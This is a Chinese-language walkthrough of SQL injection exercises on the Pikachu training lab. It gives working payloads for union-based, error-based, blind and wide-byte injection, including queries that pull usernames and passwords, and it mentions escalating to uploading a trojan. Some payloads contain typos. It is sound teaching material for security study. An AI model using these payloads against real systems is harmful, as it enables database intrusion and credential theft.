sql注入
數據庫注入漏洞,主要是開發人員在構建代碼時,沒有對輸入邊界進行安全考慮,導致攻擊者可以通過合法的輸入點提交一些精心構造的語句,從而欺騙后台數據庫對其進行執行,導致數據庫信息泄露的一種漏洞。
sql注入攻擊流程
1. 注入點探測
自動方式:使用web漏洞掃描工具,自動進行注入點發現s
手動方式:手工構造sql inject測試語句進行注入點發現
2. 信息獲取
通過注入點取得期望得到的數據
1. 環境信息:數據庫類型,數據庫版本,操作系統版本,用戶信息等
2. 數據庫信息:數據庫名稱,數據庫表,表字段,字段內容(加密內容破解)
3. 獲取權限 獲取操作系統權限:通過數據庫執行shell,上傳木馬
Get方式中使用url提交注入數據;post方式中使用抓包工具修改post數據部分提交注入
數字型注入(post)
首先選擇數字1 ,點擊查詢
由於是post型,所以我們抓包,做一下修改,修改為恆成立 id=1 or 1=1
將其發送到Repeater,點擊Go
可以看到Render里取出了數據庫中全部數據,說明存在數字型注入漏洞。
可以看下源碼,這里沒有做任何處理
字符型注入(get)
我們先輸入kobe
因為是字符型的注入,我們可以使用做sqli-labs方法進行嘗試(參考sqli-labs的方法,幾乎每一關都用),加單引號、雙引號、括號、以及他們的組合這里需要注意閉合后面注釋 最后我們試出來是單引號
kobe' or 1=1#
搜索型注入
我們先輸入一個字母k
可以查看一下源碼(路徑如圖所示)
可以看到,這里用了搜索的sql語句:select username ,id ,email from member where username like '%$name%'
用了一個like ‘%xxxx%’, 同樣的道理,可以選擇閉合sql語句:k%' or 1=1#
成功閉合,所有數據顯示出來
xx型注入
相同的道理,只是數據包過形式不同
可以查看源碼(路徑如下)也可以自己嘗試出來
所以構造 k') or 1=1#
聯合查詢
我們在sqli-labs中用到過多次聯合查詢的語句,下面來回顧一下(以xx注入類型為例)
判斷字段數 a') order by 2#(數字可以改變,判斷出來字段數為2)
查庫 a') union select database(),2# (查到數據庫為pikachu)
查表 a') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
查詢users表中的字段名: a') union select table_name,column_name from information_schema.columns where table_name='users'#
聯合查詢得到用戶名和密碼:a') union select username,password from users#
insert/updata注入(報錯注入)
點擊注冊
條件:后台沒有屏蔽報錯信息
常用函數:updatexml() exactvalue() floor()(取整函數)
基於insert/update下的報錯
1' or updatexml(1,concat(0x7e,datebase()),0) or'
基於delete下的報錯
1' or updatexml(1,concat(0x7e,datebase()),0)
基於exactvalue()
kobe' and extractvalue(0,concat(0x7e,version()))#
構造語句 1' or updatexml(1,concat(0x7e,database()),0) or'
密碼必填可以隨意輸
得到皮卡丘的數據庫名字是 pikachu
update注入
先登錄進去,使用lucy/123456 然后在修改信息的框中直接填入語句即可,payload和insert的相同
1' or updatexml(1,concat(0x7e,database()),0) or'
得到皮卡丘的數據庫名字是 pikachu
delete注入
基於delete下的報錯
1 or updatexml(1,concat(0x7e,datebase()),0)
刪除的時候設置代理,抓包
將其發送到Repeater,然后改包,將id后面的數字改掉
由於是get的類型的 在payload記得進行url編碼
payload 在上面已經提到
1 or updatexml(1,concat(0x7e,database()),0)
編碼之后,可以看到空格變為了加號,點擊Go
得到數據庫pikachu
http header 注入
原理:有時候后台開發人員為了驗證客戶信息(比如cookie驗證)或者通過http header頭信息獲取客戶端的一些信息,比如useragent、accept字段等 會對客戶端的http header信息進行獲取並使用sql進行處理,如果此時沒有足夠的安全考慮則可能會導致基於http header 的sql inject漏洞。
首先登陸 admin/123456
發現有對頭部信息的獲取,所以可能存在注入
抓包,發送到Repeater
修改user-agent 將信息改為 firefox' or updatexml(1,concat(0x7e,database()),0) or '
得到數據庫為pikachu
基於boolean盲注(布爾盲注)
表現:
1.沒有報錯信息
2.結果都只顯示兩種情況(0或1)
3.在正確的輸入下,輸入and 1=1/and 1=2可以判斷
實際上需要自己一個一個測試出來
輸入 Kobe’ and ascii(substr(database(),1,1))>113#
Kobe’ and ascii(substr(database(),1,1))=112#
獲取表名
test payload:
kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
獲取字段名
kobe' union select table_name,column_name from information_schema.columns where table_name='users'#
基於時間的盲注
Kobe' and sleep(5)# 頁面會延遲五秒
kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
1ms就返回結果 說明不是 "a" 改為”p”不返回 一直到確定數據庫的全稱。
寬字節注入
當我們輸入有單引號時被轉義為\’,無法構造 SQL 語句的時候,可以嘗試寬字節注入。
GBK編碼中,反斜杠的編碼是 “%5c”,而 “%df%5c” 是繁體字 “連”。在皮卡丘平台中,將利用 BurpSuite 截獲數據包,發送到 Repeater 中,在里面寫入payload,當我們用通常的測試 payload時,是無法執行成功的
因為在后台單引號會被轉義,在數據庫中執行多了反斜杠,可以使用下面的payload,在單引號前面加上%df,繞過這個WAF。
kobe %df' or 1=1#
我們構造sql查詢語句就可以了